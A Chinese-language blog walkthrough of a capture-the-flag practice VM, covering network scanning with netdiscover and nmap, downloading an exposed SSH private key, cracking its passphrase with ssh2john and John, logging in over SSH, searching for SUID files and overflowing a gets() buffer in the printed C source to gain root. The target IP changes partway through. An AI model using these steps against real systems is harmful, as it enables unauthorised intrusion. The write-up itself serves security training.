我在网上找到的,资源地址,就在前几分钟内有网盘链接,博主比较懒,你们自己动手吧。
SSH-私密泄露
前言
最近一点也不想学习,写篇文章激励一下自己,加油ヾ(◍°∇°◍)ノ゙!
一、确保攻击机和虚拟机在同一网段
两台虚拟机都需要设置,进行网络设置才可以让攻击机能够在同一局域网下搜索到靶机
二、收集信息
1.先查找自己主机IP,然后查找同一网段下存活的主机
这里我的主机IP是192.168.43.173,然后使用以下命令
sudo netdiscover -r 192.168.43.173/24
这是我的靶机IP
2. 拿到靶机IP然后我们查找端口看看能不能找到有用信息
nmap 192.168.43.238 -p 1-65535
然后使用火狐浏览器挨个查看是否有有用信息
前面两个端口我们都查找不到有用信息,我们继续查看第三个端口
打开第三个端口我们好像还是找不到有用信息,然后我们尝试查找该端口目录下隐藏的目录文件
前面两个文件我们下载下来发现是系统文件,基本没什么用
但是当尝试第三个的时候,我们找到了第一个flag
3.然后我们尝试找其它flag
因为我们这里有些东西是重复的,所以不要如此麻烦,重复打开,只要打开其它剩余网址查看
/.bach history文件也没有什么作用,然后我们打开/.ssh,在这里我们找到了有用信息,ssh秘钥,把它们下载下来
3.转换rsa
然后我们双击查看id_rsa,发现需要密码
我们使用John来破解密码,但是我们首先要使用ssh2john转换成John能识别样式
1、先给文件加权限 chmod 600 /home/toor/Desktop/id_rsa
2、然后进入 cd usr/share/john
3、ls
使用ssh2john.py转换,例:你们自己的文件位置在哪里就怎么填
sudo python ssh2john.py /home/toor/Desktop/id_rsa>/home/toor/Desktop/john_rsa
获取到id_rsa密码starwars
我们又在authorized_keys末尾找到用户名
4.使用ssh远程登录
进去的时候好像还要在输入一下id_rsa密码,然后就进入靶机,相当于完成了一半。
ssh -i id_rsa simon@192.168.0.100
5.查找具有root权限的文件
我先讲一下我刚开始做题的思路,首先我先进入了/home,发现没有什么东西,之后才进入/root,找到两个文件和flag,但是flag.txt不能打开
注:这是那些网上大佬做题思路
find / -perm -4000 2>/dev/null
int main(int argc, char *argv[]) {
char program[] = "/usr/local/sbin/message";
char buf[20];
char authorized[] = "Simon";
//char *argv[]是一个字符数组,其大小是int argc,主要用于命令行参数argv[]参数,数组里每个元素代表一个参数
printf("What is your name?\n");
gets(buf);
//gets(buf);//获取用户输入的字符串,存放到buf中
// Only compare first five chars to save precious cycles:
if (!strncmp(authorized, buf, 5)) {
printf("Hello %s! Here is your message:\n\n", buf);
// This is safe as the user can't mess with the binary location:
execve(program, NULL, NULL);
} else {
printf("Sorry %s, you're not %s! The Internet Police have been informed of this violation.\n", buf, authorized);
exit(EXIT_FAILURE);
}
}
注:int main(int argc,char* argv[])详解
审计这段代码 发现
我们要执行readmessage
然后验证数组前5个字符,限定字符数为最多20个 ,前5个为Simon即可。
我们试着输20多个字符使其溢出
输入超过他缓存字符长度的字符 超出的部分为root权限的目录路径
获得root权限,发现flag
此文借鉴 Wings_shadow 和B站,小白可以先看视频,然后在看博客,这样更能加深理解。
如有冒犯,请及时告知,本文内容来着B站,如果有错误或者不详细地方,请告知,Thanks♪(・ω・)ノ!喜欢就点个赞吧。